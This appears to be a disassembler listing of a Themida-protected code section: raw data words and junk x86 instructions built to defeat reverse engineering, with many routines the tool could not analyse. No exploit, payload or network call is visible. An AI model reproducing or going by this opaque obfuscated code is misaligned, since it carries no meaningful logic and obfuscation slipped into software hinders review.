dd 2B000000h, 32094700h, 59F66EDEh, 0F5606992h, 850Fh
dd 5F610000h, 8FBFCF81h, 38BF06C1h, 665E6374h, 8E0FC18Bh
dd 2, 8166CF8Bh, 50C727E3h, 5FC2B70Fh, 11E8h, 5EF17100h
dd 0B2B3B5DDh, 209D5AFEh, 6E2100F5h, 830F7697h, 16h, 10E8h
dd 0FCCA3800h, 0ED296DD7h, 3DBD6AECh, 917793D4h, 8B585E0Fh
dd 33B0FCF2h, 0C35FA1BAh, 0DE92Bh, 0DFC0000h, 176C524Bh
dd 89EA13A7h, 0FE8E129h, 0B860DAB7h, 46DFDBA2h, 0BFA0D681h
dd 0F612BADh, 0C89h, 6890F00h, 81000000h, 49A1BBE1h, 3BB86613h
dd 0F08B66A2h, 5810Fh, 81660000h, 0F7F79F2h, 8166F9B7h
dd 6082C4C2h, 0CBBF0F53h, 0C8806158h, 8E9EBh, 5430000h
dd 7C795DE5h, 8A50EFBDh, 0FF558FDh, 8B66F6B7h, 0E68166FBh
dd 8B66F6A0h, 0DE8DFh, 58430000h, 0E5369811h, 9F4D9940h
dd 5A69DDEAh, 8840Fh, 81500000h, 58BD0FD6h, 0B70F5E25h
dd 0D38B66F8h, 0FF86FB0h, 8166C6BFh, 8A67CAD1h, 0C18B66CBh
dd 5880Fh, 81660000h, 8BEC5FD1h, 0D5B866C7h, 268F0F16h
dd 60000000h, 0EE8h, 0EE953500h, 0C56554B1h, 0EF22E261h
dd 5A5B66C8h, 0AE8h, 0AC047900h, 49B13DC8h, 59B45B6Dh
dd 0EE961h, 11C40000h, 7193AEECh, 80959FFEh, 0F161D2D0h
dd 3551DA81h, 14E849EDh, 0EF000000h, 27A8528Fh, 0D85D2AEDh
dd 73C91CCAh, 1495BB29h, 0F5DF42C6h, 0E88AB25Eh, 0Ch, 1558B79Ch
dd 0ED3DCC42h, 851EEEB8h, 5840Fh, 81660000h, 5AE5DCF1h
dd 0E95371B0h, 10h, 400F64BDh, 43EEF723h, 67828196h, 4FEF7F0Ch
dd 0BBD1815Eh, 503212EFh, 28D0Fh, 5A560000h, 0BB66605Bh
dd 0CF8B88DEh, 0E9816661h, 0C88BFF6Ah, 816046B4h, 0C2F289DAh
dd 0BE945h, 88F80000h, 0C01150FEh, 87548BE7h, 8B6661B2h
dd 5E9D0h, 95850000h, 51187CBEh, 12E8h, 4499D900h, 0AFEF5FE7h
dd 8D77AFA6h, 0A7E6CE55h, 0E90648B8h, 8, 6C88FC5h, 8E78FEE0h
dd 81605F5Eh, 3977B1C1h, 0D1816618h, 8061DC53h, 81661FD4h
dd 0F6CA4D8h, 6660D3BFh, 3FC3C981h, 0BE9h, 0C79F6000h
dd 3B922FCh, 0A4C20772h, 5E961h, 6A290000h, 0F5A9B468h
dd 78BB88B0h, 0F4770D8h, 18Fh, 66F9F800h, 95EDE781h, 26EA8060h
dd 10E9h, 3203F900h, 36E96AE0h, 12C25D84h, 0F01BC035h
dd 66526172h, 5E4EE2BAh, 0BE8h, 0A557D200h, 0A6F2134Fh
dd 0CE97F6F4h, 9E9h, 8A410900h, 6CE185A4h, 665F87CCh, 66F9D08Bh
dd 0C68AF28Bh, 8B51F18Bh, 816658C7h, 0FA7EAF3h, 48Ch, 36B96600h
dd 58FC56B3h, 81FEBF0Fh, 0E6CD7DD2h, 0C0B70F5Bh, 0FE9h
dd 3E442A00h, 45CC0A4Eh, 0D01355B0h, 264E42CFh, 0FE8F9h
dd 0FAEA0000h, 0F1469264h, 5ADBAC85h, 0D749EBC8h, 0D2BF0F50h
dd 13E85Ah, 0BA4E0000h, 76508D28h, 28D94AD5h, 4FFCA2h
dd 0BDCA5BFBh, 0AE9DDh, 5BF30000h, 4328B0C2h, 4F69D768h
dd 0F950BE5Fh, 0CE90AD7h, 0FA000000h, 0C7228A2Fh, 0DF55E4C9h
dd 0E90E311Bh, 12h, 24D99E3Ch, 0C97E7113h, 0E8E306DDh
dd 79262F46h, 5E88FB7h, 0E1000000h, 0D740C3C1h, 14E9h
dd 0EAAE6500h, 0E0F448C6h, 0F40931DCh, 0FD880D33h, 70AFA9BCh
dd 0AFB758F4h, 61E28166h, 66D98B78h, 0E8F957BBh, 0Bh, 0CCDD5F65h
dd 0EC2B2286h, 0BFB8FF28h, 19D09309h, 0E9C38B58h, 7, 2C1391B3h
dd 0E9F33B1Eh, 0Bh, 6B4D2DC2h, 24F55CCEh, 0E8A2ED6Fh, 10h
dd 1D5B34D3h, 7D0D4666h, 7FD4B99Dh, 0B393D0E7h, 6659CB8Bh
dd 8E0FCB8Bh, 3, 66D9BF0Fh, 0BF0FFE8Bh, 77BF66C2h, 0C9BF0F01h
dd 198B0Fh, 14E90000h, 75000000h, 0DF0B9FF4h, 70348A31h
dd 28EAF043h, 7327DE5Dh, 0FC2CF14Fh, 48C0Fh, 0BB660000h
dd 0DE99AB0h, 69000000h, 12EB5B3Ah, 0A86E4E4h, 0D66C83B4h
dd 0B0F9E181h, 0BF0F66F9h, 3850FF6h, 80000000h, 0F5607C5h
dd 486h, 0D3BE6600h, 8B665E9Ah, 1F8E0FCFh, 0F000000h, 198Fh
dd 13E800h, 0A59F0000h, 7213CF07h, 0FD9647F7h, 0A6190D2Ah
dd 0AF1F4FE1h, 0D08B5B16h, 94B4D181h, 0B70F79AEh, 0E9CC8AD1h
dd 0Bh, 287E6E96h, 4961BA91h, 0E924C83Dh, 0Fh, 716068C6h
dd 0B0586CADh, 0ECE4D0Eh, 0FF54E83h, 385h, 0C9B70F00h
dd 5BD08B56h, 6E9F5h, 85D90000h, 4AEADA84h, 2850Fh, 6BB60000h
dd 13800Fh, 0EE90000h, 39000000h, 85E0932Fh, 7B027D5h
dd 846DE890h, 6E882h, 74310000h, 427F89A8h, 0F900BE66h
dd 5E95Fh, 46B00000h, 0F41AB27h, 0DF8BF2B7h, 12E9h, 99503600h
dd 4689B17Dh, 73FC86FEh, 0DB80C6F2h, 66C9CCCEh, 0CAF5D881h
dd 830Fh, 880F0000h, 6, 5628F181h, 0F531A61h, 0F55BF3BFh
dd 810FD68Bh, 0
; ---------------------------------------------------------------------------
movzx edx, dx
sub ebx, 3DE7D845h
mov ax, 0F86h
or ecx, 7F5824BBh
mov dh, cl
cmc
movsx esi, si
mov ecx, 10C9804Fh
call near ptr loc_5CB7EA+2
push ebx
push es
or [ebx-966348Dh], eax
mov ds:436C7ECAh, al
or al, 7Bh
loc_5CB7EA: ; CODE XREF: Themida_:005CB7D6p
rcl dword ptr [ebp+53h], 0Fh
mov bh, 0FAh
pop esi
pop eax
push ebx
pop eax
movsx ecx, dx
jmp loc_5CB806
; ---------------------------------------------------------------------------
dd 78E0306Ch, 2AEBD390h
db 0EBh, 63h
; ---------------------------------------------------------------------------
loc_5CB806: ; CODE XREF: Themida_:005CB7F7j
mov dx, ax
mov cx, 128Fh
movzx eax, di
js loc_5CB81C
add edx, 6F6C68DBh
loc_5CB81C: ; CODE XREF: Themida_:005CB810j
call sub_5CB832
call near ptr 0EB65F6FFh
clc
cmpsd
jmp far ptr 5D79h:0DCA87175h
; ---------------------------------------------------------------------------
db 25h
db 2Bh, 0B9h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5CB832 proc near ; CODE XREF: Themida_:loc_5CB81Cp
jmp sub_5CB849
sub_5CB832 endp
; ---------------------------------------------------------------------------
db 0B7h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0DEh, 0Dh, 85h
dd 0CC6A15B0h, 396BD6A5h, 25243BE9h
db 0Ch
; =============== S U B R O U T I N E =======================================
sub_5CB849 proc near ; CODE XREF: sub_5CB832j
pop ecx
jmp loc_5CB859
; ---------------------------------------------------------------------------
db 67h
dd 774B10A9h, 0CDF8E159h
db 0B9h
; ---------------------------------------------------------------------------
loc_5CB859: ; CODE XREF: sub_5CB849+1j
mov bh, 0E0h
mov bx, 52D8h
cld
mov al, 0D9h
jg $+6
and esi, 16A93CD8h
adc eax, 5A2651ADh
jmp loc_5CB88A
; ---------------------------------------------------------------------------
db 0A9h, 0FFh, 73h
dd 0F5786B87h, 0A53E5D48h, 634F75B0h
db 0CDh, 2
; ---------------------------------------------------------------------------
loc_5CB88A: ; CODE XREF: sub_5CB849+2Bj
mov edx, edi
jbe loc_5CB895
movzx eax, bx
loc_5CB895: ; CODE XREF: sub_5CB849+43j
add bx, 0C4DCh
call sub_5CB8AE
setalc
retn 189Dh
sub_5CB849 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0C0h
dd 0BD6CE064h, 57045A9Fh
db 97h, 39h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5CB8AE proc near ; CODE XREF: sub_5CB849+51p
jmp sub_5CB8BC
sub_5CB8AE endp
; ---------------------------------------------------------------------------
db 74h
; ---------------------------------------------------------------------------
or eax, 0B98AB433h
loc_5CB8B9: ; CODE XREF: Themida_:005CB8BAj
pop ebx
loopne loc_5CB8B9
; =============== S U B R O U T I N E =======================================
sub_5CB8BC proc near ; CODE XREF: sub_5CB8AEj
pop ecx
mov cx, 1318h
adc ax, 260Bh
mov ebx, esi
mov si, 0C9D2h
pusha
jmp loc_5CB8E2
; ---------------------------------------------------------------------------
dw 6ABEh
dd 2B70CCA7h, 14E77DAh, 0F745EDF8h
db 70h, 0ACh
; ---------------------------------------------------------------------------
loc_5CB8E2: ; CODE XREF: sub_5CB8BC+11j
mov dh, cl
popa
mov cx, di
jmp loc_5CB900
; ---------------------------------------------------------------------------
db 0Fh, 3Ah, 81h
dd 0AC8A597Eh, 0EF6AB616h, 0BE804340h, 0CB2C0EA1h
; ---------------------------------------------------------------------------
loc_5CB900: ; CODE XREF: sub_5CB8BC+2Cj
mov esi, eax
jmp loc_5CB914
; ---------------------------------------------------------------------------
db 7Ah
dd 0F413F98Bh, 12DD7DCDh, 46606776h
; ---------------------------------------------------------------------------
loc_5CB914: ; CODE XREF: sub_5CB8BC+46j
jmp loc_5CB91F
; ---------------------------------------------------------------------------
db 0Ah, 65h, 7Bh
db 58h, 0D9h, 4Eh
; ---------------------------------------------------------------------------
loc_5CB91F: ; CODE XREF: sub_5CB8BC:loc_5CB914j
mov esi, edx
jmp loc_5CB92B
; ---------------------------------------------------------------------------
adc eax, 0D6A5CC6Ah
loc_5CB92B: ; CODE XREF: sub_5CB8BC+65j
jmp loc_5CB940
; ---------------------------------------------------------------------------
dd 0F4230F5Dh, 0EECA325Dh, 319D85D8h, 0EA613DF8h
; ---------------------------------------------------------------------------
loc_5CB940: ; CODE XREF: sub_5CB8BC:loc_5CB92Bj
pusha
jno loc_5CB955
call sub_5CB954
neg dword ptr [esi+0Bh]
sub al, 0D6h
insb
pop ebx
push ebp
sub_5CB8BC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CB954 proc near ; CODE XREF: sub_5CB8BC+8Bp
pop eax
loc_5CB955: ; CODE XREF: sub_5CB8BC+85j
jmp loc_5CB969
; ---------------------------------------------------------------------------
dw 4356h
dd 9CCEAB7Eh, 6E620A9Ch, 0A310B152h
db 75h
; ---------------------------------------------------------------------------
loc_5CB969: ; CODE XREF: sub_5CB954:loc_5CB955j
popa
stc
clc
mov ax, bx
push esi
jbe loc_5CB977
clc
loc_5CB977: ; CODE XREF: sub_5CB954+1Cj
pop edx
mov cl, 5Bh
call near ptr loc_5CB986+1
jle short near ptr loc_5CB9D9+3
outsd
cmp ah, [ecx-37h]
push cs
loc_5CB986: ; CODE XREF: sub_5CB954+26p
test [ecx+7D8A23EAh], al
sub_5CB954 endp ; sp-analysis failed
cmp al, 5Ah
mov esi, edx
jmp loc_5CB9A5
; ---------------------------------------------------------------------------
db 91h, 6Bh, 92h
dd 83085C53h, 24D08260h, 0FCD3D398h
db 8Eh
; ---------------------------------------------------------------------------
loc_5CB9A5: ; CODE XREF: Themida_:005CB990j
movzx ebx, ax
mov ch, 50h
mov edi, 513FCF83h
mov dx, bx
mov ax, 0F00Dh
mov edi, 6EEF1E60h
add dh, 68h
movzx ecx, ax
jmp loc_5CB9D9
; ---------------------------------------------------------------------------
dw 0F8A6h
dd 5965FD8h, 9F8AEA9Ah, 4F37C041h, 7A533095h
db 64h
; ---------------------------------------------------------------------------
loc_5CB9D9: ; CODE XREF: Themida_:005CB9C1j
; sub_5CB954+2Bj
jmp loc_5CB9E4
; ---------------------------------------------------------------------------
dw 0E364h
dd 22A91906h
; ---------------------------------------------------------------------------
loc_5CB9E4: ; CODE XREF: Themida_:loc_5CB9D9j
jnb loc_5CBA03
jmp loc_5CBA03
; ---------------------------------------------------------------------------
db 2Dh
dd 56ACCA08h, 3B73F31Dh, 0EB71F636h, 772531C0h
; ---------------------------------------------------------------------------
add edx, eax
pop ds
loc_5CBA03: ; CODE XREF: Themida_:loc_5CB9E4j
; Themida_:005CB9EAj
mov ch, 7Fh
mov cx, 83FAh
jmp loc_5CBA16
; ---------------------------------------------------------------------------
dw 292Eh
dd 0F98F5CE8h
db 0Fh, 8Fh
; ---------------------------------------------------------------------------
loc_5CBA16: ; CODE XREF: Themida_:005CBA09j
add si, 0F82Ch
jns loc_5CBA27
sub eax, 4A06063h
loc_5CBA27: ; CODE XREF: Themida_:005CBA1Bj
sub cx, 8CAh
mov ax, 0E69Dh
mov eax, 4CD7EDB8h
jmp loc_5CBA4A
; ---------------------------------------------------------------------------
dw 0BACDh
dd 0B1752AB5h, 362D35B1h, 0BD2366A0h
; ---------------------------------------------------------------------------
jl short loc_5CBA4B
loc_5CBA4A: ; CODE XREF: Themida_:005CBA35j
stc
loc_5CBA4B: ; CODE XREF: Themida_:005CBA48j
movzx edi, cx
stc
cld
or cx, 0B4BAh
mov dl, 58h
jmp loc_5CBA6A
; ---------------------------------------------------------------------------
dd 14536AE2h, 70B97194h, 0AAAE259Eh
db 0EFh, 0
; ---------------------------------------------------------------------------
loc_5CBA6A: ; CODE XREF: Themida_:005CBA57j
movsx ebx, bx
push edi
jbe loc_5CBA77
sbb ch, 0ADh
loc_5CBA77: ; CODE XREF: Themida_:005CBA6Ej
pop ebx
push ecx
push edi
mov dx, di
pop ebx
pop eax
add cx, 67BAh
jg loc_5CBA8E
mov dx, 0D1B9h ; CODE XREF: Themida_:005CBA9Aj
loc_5CBA8E: ; CODE XREF: Themida_:005CBA84j
ja loc_5CBAA6
call near ptr loc_5CBA9D+2
lahf
jle short near ptr loc_5CBA8A+1
xchg eax, esp
loc_5CBA9D: ; CODE XREF: Themida_:005CBA94p
mov ds:830F30h, al
; ---------------------------------------------------------------------------
dw 0
db 0, 59h
; ---------------------------------------------------------------------------
loc_5CBAA6: ; CODE XREF: Themida_:loc_5CBA8Ej
jmp loc_5CBAB6
; ---------------------------------------------------------------------------
db 2Dh
dd 0BC4B97E9h, 1905DF7Fh
db 2Eh, 67h
; ---------------------------------------------------------------------------
loc_5CBAB6: ; CODE XREF: Themida_:loc_5CBAA6j
jmp loc_5CBACB
; ---------------------------------------------------------------------------
db 0FCh
dd 44C48616h, 30C064A0h, 0F2C464D4h
db 1, 0B4h, 10h
; ---------------------------------------------------------------------------
loc_5CBACB: ; CODE XREF: Themida_:loc_5CBAB6j
sbb edi, 5F9EC202h
jmp loc_5CBAE7
; ---------------------------------------------------------------------------
dw 1653h
dd 42F31683h, 0CA7D280Ah, 0C3D9078Fh
; ---------------------------------------------------------------------------
cwde
sub bl, bh
loc_5CBAE7: ; CODE XREF: Themida_:005CBAD1j
cmc
movzx esi, bx
mov dl, 4Fh
jns loc_5CBAFD
jmp loc_5CBAFD
; ---------------------------------------------------------------------------
dd 35824FAEh
db 0B0h
; ---------------------------------------------------------------------------
loc_5CBAFD: ; CODE XREF: Themida_:005CBAEDj
; Themida_:005CBAF3j
call near ptr loc_5CBB13+1
mov esp, 337D53C9h
and al, 0DDh
jnb short loc_5CBB88
adc edi, [eax]
repne insd
push esi
sbb al, 95h
dec edi
loc_5CBB13: ; CODE XREF: Themida_:loc_5CBAFDp
add ecx, [ebx+0FFC5AF9h]
add dword ptr [eax], 0
; ---------------------------------------------------------------------------
dd 850F0000h, 2Fh, 10E8h, 36162C00h, 2057A75Bh, 38F041AFh
dd 98DD53A9h, 14E932h, 0AAF70000h, 7788670Eh, 0FE40D4ECh
dd 0C940B5D8h, 0E4D3BBBFh, 66598287h, 33C2E981h, 158F0Fh
dd 10E90000h, 1D000000h, 3F2B13D6h, 0DF3CEC9Fh, 0E2FD9E38h
dd 0E9031D66h, 14h, 2F5F272Ah, 201B1019h, 385111C3h, 3FAE2010h
; ---------------------------------------------------------------------------
loc_5CBB88: ; CODE XREF: Themida_:005CBB09j
mov eax, 5775FC30h
jmp loc_5CBB98
; ---------------------------------------------------------------------------
mov word ptr [ebx-4DE2B031h], ss
loc_5CBB98: ; CODE XREF: Themida_:005CBB8Dj
pop eax
mov ax, 4BBh
jnb loc_5CBBBA
pusha
mov bh, 0BAh
jmp loc_5CBBB9
; ---------------------------------------------------------------------------
db 0D0h
dd 0F18DDB95h, 6B867782h, 26214889h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
loc_5CBBB9: ; CODE XREF: Themida_:005CBBA6j
popa
loc_5CBBBA: ; CODE XREF: Themida_:005CBB9Dj
push ecx
mov edi, ecx
pop edi
ja loc_5CBBC6
mov ecx, eax
loc_5CBBC6: ; CODE XREF: Themida_:005CBBBEj
stc
mov ecx, 4CD068DDh
pusha
push edi
mov edi, 704D71B7h
pop ecx
mov eax, 33D6618Ch
popa
and edx, 0DB12372h
movsx ecx, si
jl loc_5CBBEA
cld
loc_5CBBEA: ; CODE XREF: Themida_:005CBBE3j
jmp loc_5CBC01
; ---------------------------------------------------------------------------
db 25h
dd 1AC4CC5Bh, 1659B264h, 11784779h, 42EA02B8h
; ---------------------------------------------------------------------------
wait
loc_5CBC01: ; CODE XREF: Themida_:loc_5CBBEAj
mov si, 8483h
mov ebx, 3638A236h
mov bx, cx
pusha
or ax, 0B465h
movsx ebx, di
popa
stc
movsx edi, bx
mov eax, 39A02B36h
mov dx, 3323h
push esi
pop esi
push esi
mov si, 0E7E4h
pop edi
pusha
mov di, dx
stc
popa
jns loc_5CBC3C
mov di, 957h
loc_5CBC3C: ; CODE XREF: Themida_:005CBC32j
jle loc_5CBC45
add bl, 14h
loc_5CBC45: ; CODE XREF: Themida_:loc_5CBC3Cj
mov al, 4
mov di, 6935h
cld
mov ah, 8Eh
mov di, bx
jmp loc_5CBC5D
; ---------------------------------------------------------------------------
dw 5E05h
dd 97CFCB09h
db 0A1h
; ---------------------------------------------------------------------------
loc_5CBC5D: ; CODE XREF: Themida_:005CBC51j
call loc_5CBC73
push ecx
pop ebp
dec ebp
sbb ecx, [edi+29h]
aas
lea ecx, ds:52821A32h
pop ebp
mov al, 0DDh
cmpsd
loc_5CBC73: ; CODE XREF: Themida_:loc_5CBC5Dp
clc
pop ebx
mov dh, al
sbb cx, 0E92Fh
adc edx, 4E2AD1C0h
mov ax, 0FF4h
push esi
call sub_5CBC9E
fnsave byte ptr [edx-7D54AD88h]
stc
; ---------------------------------------------------------------------------
db 0C4h
dd 18EC3BF1h, 0BB9C7B19h
db 0DEh, 0B5h
; =============== S U B R O U T I N E =======================================
sub_5CBC9E proc near ; CODE XREF: Themida_:005CBC87p
pop edi
pop ebx
mov si, 85D2h
movzx ecx, si
clc
jmp loc_5CBCB3
; ---------------------------------------------------------------------------
db 4Ch, 0C8h, 0DDh
db 8Fh, 0D0h, 8Bh
; ---------------------------------------------------------------------------
loc_5CBCB3: ; CODE XREF: sub_5CBC9E+Aj
push esi
pusha
jmp loc_5CBCBF
; ---------------------------------------------------------------------------
dw 5477h
db 53h, 0DEh, 5Dh
; ---------------------------------------------------------------------------
loc_5CBCBF: ; CODE XREF: sub_5CBC9E+17j
mov esi, ecx
popa
pop edx
mov ah, cl
sbb bl, 0BEh
cmc
pusha
and dx, 8300h
movsx ecx, bx
popa
jl loc_5CBCDC
mov cx, ax
loc_5CBCDC: ; CODE XREF: sub_5CBC9E+35j
xor ax, 6991h
push edi
pop ebx
jb loc_5CBCEC
sbb ch, 0DAh
loc_5CBCEC: ; CODE XREF: sub_5CBC9E+45j
adc ebx, 38081294h
mov cx, 0A83h
adc dl, 49h
mov di, 2CCEh
jmp loc_5CBD0A
; ---------------------------------------------------------------------------
dw 0BB9Bh
dd 665A310Fh
db 45h, 0B2h
; ---------------------------------------------------------------------------
loc_5CBD0A: ; CODE XREF: sub_5CBC9E+5Fj
mov esi, edi
jge loc_5CBD17
pusha
movsx edx, di
popa
loc_5CBD17: ; CODE XREF: sub_5CBC9E+6Ej
mov eax, 1AA65E09h
jnb loc_5CBD27
or bx, 0C86Ch
loc_5CBD27: ; CODE XREF: sub_5CBC9E+7Ej
add al, 7Ah
movzx edx, si
mov ecx, eax
jnp loc_5CBD38
mov ax, dx
loc_5CBD38: ; CODE XREF: sub_5CBC9E+91j
sbb bx, 0E78Ah
sbb ecx, 2BCACEFAh
sub ah, 62h
push ebx
pop esi
movsx edx, bx
mov ah, 5Fh
call sub_5CBD61
retn
sub_5CBC9E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 13h
dd 74F952E6h, 635E5F90h, 80C02D2h
; ---------------------------------------------------------------------------
push ebx
; =============== S U B R O U T I N E =======================================
sub_5CBD61 proc near ; CODE XREF: sub_5CBC9E+AFp
cmc
pop edi
adc edi, 41DA3BEDh
mov edx, 4D5F3B53h
jge loc_5CBD79
mov edx, 120B78EEh
loc_5CBD79: ; CODE XREF: sub_5CBD61+Dj
pusha
mov edx, 5495EAA0h
jmp loc_5CBD8F
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0FFh, 0EDh, 72h
dd 7E25EEC1h
db 15h, 0C8h, 8Ch
; ---------------------------------------------------------------------------
loc_5CBD8F: ; CODE XREF: sub_5CBD61+1Ej
popa
sub cx, 3626h
mov edi, 39E26626h
mov esi, edi
jmp loc_5CBDB0
; ---------------------------------------------------------------------------
db 53h, 0F4h, 8Dh
dd 0D090DF64h, 2C04F942h, 0CE78BEF9h
; ---------------------------------------------------------------------------
loc_5CBDB0: ; CODE XREF: sub_5CBD61+3Bj
cmc
and ecx, 51160D1Eh
call near ptr loc_5CBDCB+3
call far ptr 9E8h:0CCBF0402h
insd
sbb ebp, [edi+43A90852h]
sti
loc_5CBDCB: ; CODE XREF: sub_5CBD61+56p
mov esp, 0DB81280Fh
sub_5CBD61 endp ; sp-analysis failed
or eax, 5E257044h
and di, 0D2DCh
jmp loc_5CBDF2
; ---------------------------------------------------------------------------
xchg eax, edi
push esi
cmpsb
adc dh, cl
cmp eax, ebx
add dl, [ebx+4Ch]
xchg eax, edx
push ds
add [eax], ebp
mov edx, 0E48ECB42h
loc_5CBDF2: ; CODE XREF: Themida_:005CBDDAj
call sub_5CBDFE
iret
; ---------------------------------------------------------------------------
dd 40177FC4h
db 0DBh, 8Eh
; =============== S U B R O U T I N E =======================================
sub_5CBDFE proc near ; CODE XREF: Themida_:loc_5CBDF2p
; FUNCTION CHUNK AT 005CBE5C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005CBE6D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005CBE85 SIZE 0000001D BYTES
pop ecx
push esi
xor bh, 8Fh
pop edx
jmp loc_5CBE1A
; ---------------------------------------------------------------------------
db 93h, 5Fh, 0FBh
dd 0E61C5958h, 9EFE955h, 5623512Ah
db 0BAh, 0E0h
; ---------------------------------------------------------------------------
loc_5CBE1A: ; CODE XREF: sub_5CBDFE+6j
jg loc_5CBE3A
pusha
mov di, 151Fh
jmp loc_5CBE39
; ---------------------------------------------------------------------------
dw 8A83h
dd 0C757B43Eh, 8AB97BE4h, 4634100Ch
db 0B3h
; ---------------------------------------------------------------------------
loc_5CBE39: ; CODE XREF: sub_5CBDFE+27j
popa
loc_5CBE3A: ; CODE XREF: sub_5CBDFE:loc_5CBE1Aj
jge loc_5CBE43
mov dx, bx
loc_5CBE43: ; CODE XREF: sub_5CBDFE:loc_5CBE3Aj
mov esi, eax
jp loc_5CBE5C
call near ptr loc_5CBE55+1
add eax, 658328Bh
loc_5CBE55: ; CODE XREF: sub_5CBDFE+4Dp
lock mov eax, 6E96143Fh
sub_5CBDFE endp ; sp-analysis failed
pop ebx
; START OF FUNCTION CHUNK FOR sub_5CBDFE
loc_5CBE5C: ; CODE XREF: sub_5CBDFE+47j
mov dl, 0B3h
mov ecx, 5A3ABE1Fh
jmp loc_5CBE6D
; END OF FUNCTION CHUNK FOR sub_5CBDFE
; ---------------------------------------------------------------------------
cmc
rcr bl, 0Eh
push es
; START OF FUNCTION CHUNK FOR sub_5CBDFE
loc_5CBE6D: ; CODE XREF: sub_5CBDFE+65j
mov ax, bx
mov bl, cl
jmp loc_5CBE85
; END OF FUNCTION CHUNK FOR sub_5CBDFE
; ---------------------------------------------------------------------------
db 7Ah
dd 0C4500B42h, 158FC8DEh, 6B9FF2Fh
db 87h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CBDFE
loc_5CBE85: ; CODE XREF: sub_5CBDFE+74j
ja loc_5CBEA7
call sub_5CBEA2
shl dword ptr [edi+308C602Dh], 0C0h
or al, 0C6h
mov al, [ebx]
xor eax, 8BB0FBB7h
aas
aas
; END OF FUNCTION CHUNK FOR sub_5CBDFE
; =============== S U B R O U T I N E =======================================
sub_5CBEA2 proc near ; CODE XREF: sub_5CBDFE+8Dp
mov si, 0D0EFh
pop ecx
loc_5CBEA7: ; CODE XREF: sub_5CBDFE:loc_5CBE85j
jno loc_5CBEB2
xor cx, 853h
loc_5CBEB2: ; CODE XREF: sub_5CBEA2:loc_5CBEA7j
mov di, 0A7FFh
stc
jmp loc_5CBEC3
; ---------------------------------------------------------------------------
dd 89CB83E1h
db 0E8h, 0BCh, 6Ah
; ---------------------------------------------------------------------------
loc_5CBEC3: ; CODE XREF: sub_5CBEA2+15j
mov ax, si
call sub_5CBED5
mov dword ptr [edx], 0E6F253C8h
push ebx
push eax
pop esp
push edi
sub_5CBEA2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CBED5 proc near ; CODE XREF: sub_5CBEA2+24p
mov edx, 512110AAh
pop esi
xor al, 0E9h
mov dx, bx
adc si, 0BA5Eh
mov edx, eax
jmp loc_5CBEF5
; ---------------------------------------------------------------------------
align 2
dw 2B1Ch
dd 4C36A1D6h
db 87h
; ---------------------------------------------------------------------------
loc_5CBEF5: ; CODE XREF: sub_5CBED5+13j
push edi
adc edx, 49394DE5h
pop edi
pusha
and ax, 1A19h
mov dl, 58h
popa
jle loc_5CBF12
add ecx, 18461E3Bh
loc_5CBF12: ; CODE XREF: sub_5CBED5+31j
and dx, 0B249h
mov al, 0EAh
call near ptr loc_5CBF23+1
lodsd
fmul qword ptr [ebp+eax*2+30h]
loc_5CBF23: ; CODE XREF: sub_5CBED5+44p
mov ds:5A8DC180h, eax
sub_5CBED5 endp ; sp-analysis failed
mov di, 0CD1Dh
mov esi, 46CF9CCBh
movsx esi, bx
mov eax, edi
mov al, cl
mov di, 0E3FDh
movsx ebx, di
movzx ebx, di
mov bx, ax
push edi
sbb bx, 0BC3Fh
pop ebx
js $+6
mov si, bx
mov edx, edi
jmp loc_5CBF63
; ---------------------------------------------------------------------------
dd 620EBF36h
; ---------------------------------------------------------------------------
retf 0F43Eh
; ---------------------------------------------------------------------------
loc_5CBF63: ; CODE XREF: Themida_:005CBF57j
jmp loc_5CBF72
; ---------------------------------------------------------------------------
dd 210DA28Bh, 0F6E55431h
db 26h, 0C2h
; ---------------------------------------------------------------------------
loc_5CBF72: ; CODE XREF: Themida_:loc_5CBF63j
mov si, cx
push eax
or dh, 0A3h
pop ecx
mov eax, 6B258475h
movzx esi, di
movsx ecx, bx
call sub_5CBF95
; ---------------------------------------------------------------------------
xchg eax, esp
retf
; ---------------------------------------------------------------------------
dd 4F9C4F68h, 2471B9A0h
; ---------------------------------------------------------------------------
stosd
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5CBF95 proc near ; CODE XREF: Themida_:005CBF85p
push eax
pop eax
pop ecx
sub ecx, 3BF9C9E7h
push ebx
mov edi, 485A58C2h
pop esi
adc edi, 430A44E9h
jb $+6
movsx edx, ax
pusha
and ah, 2Ch
popa
xor si, 60A4h
jmp loc_5CBFCC
; ---------------------------------------------------------------------------
db 3
dd 0E259268Fh, 0CF36A2EAh
; ---------------------------------------------------------------------------
loc_5CBFCC: ; CODE XREF: sub_5CBF95+29j
mov eax, 2A55F1BCh
pusha
call sub_5CBFE1
cwde
jmp far ptr 0BCADh:817BCC00h ; CODE XREF: Themida_:005CBFFFj
sub_5CBF95 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
stc
scasb
; =============== S U B R O U T I N E =======================================
sub_5CBFE1 proc near ; CODE XREF: sub_5CBF95+3Dp
call near ptr loc_5CBFF3+2
call far ptr 0E192h:1A8DC29h
add ebx, [edx]
leave
push ecx
inc eax
push ebp
loc_5CBFF3: ; CODE XREF: sub_5CBFE1p
mov ds:0F5F5B28h, eax
sub_5CBFE1 endp ; sp-analysis failed
add dword ptr ds:66000000h, 0FFFFFF81h
repne jo short near ptr loc_5CBFD8+2
popa
mov cx, dx
jb loc_5CC020
jmp loc_5CC020
; ---------------------------------------------------------------------------
db 27h, 0EFh, 7
dd 0DAC1A679h, 58F460C5h, 67DABB28h
; ---------------------------------------------------------------------------
loc_5CC020: ; CODE XREF: Themida_:005CC006j
; Themida_:005CC00Cj
pusha
pusha
mov eax, 1C9D7AA5h
mov eax, 3E89EC31h
popa
call near ptr loc_5CC036+2
popa
db 36h
or al, 1Ch
loc_5CC036: ; CODE XREF: Themida_:005CC02Dp
imul edi, 5Bh
popa
or al, 24h
mov cl, 5
mov edx, esi
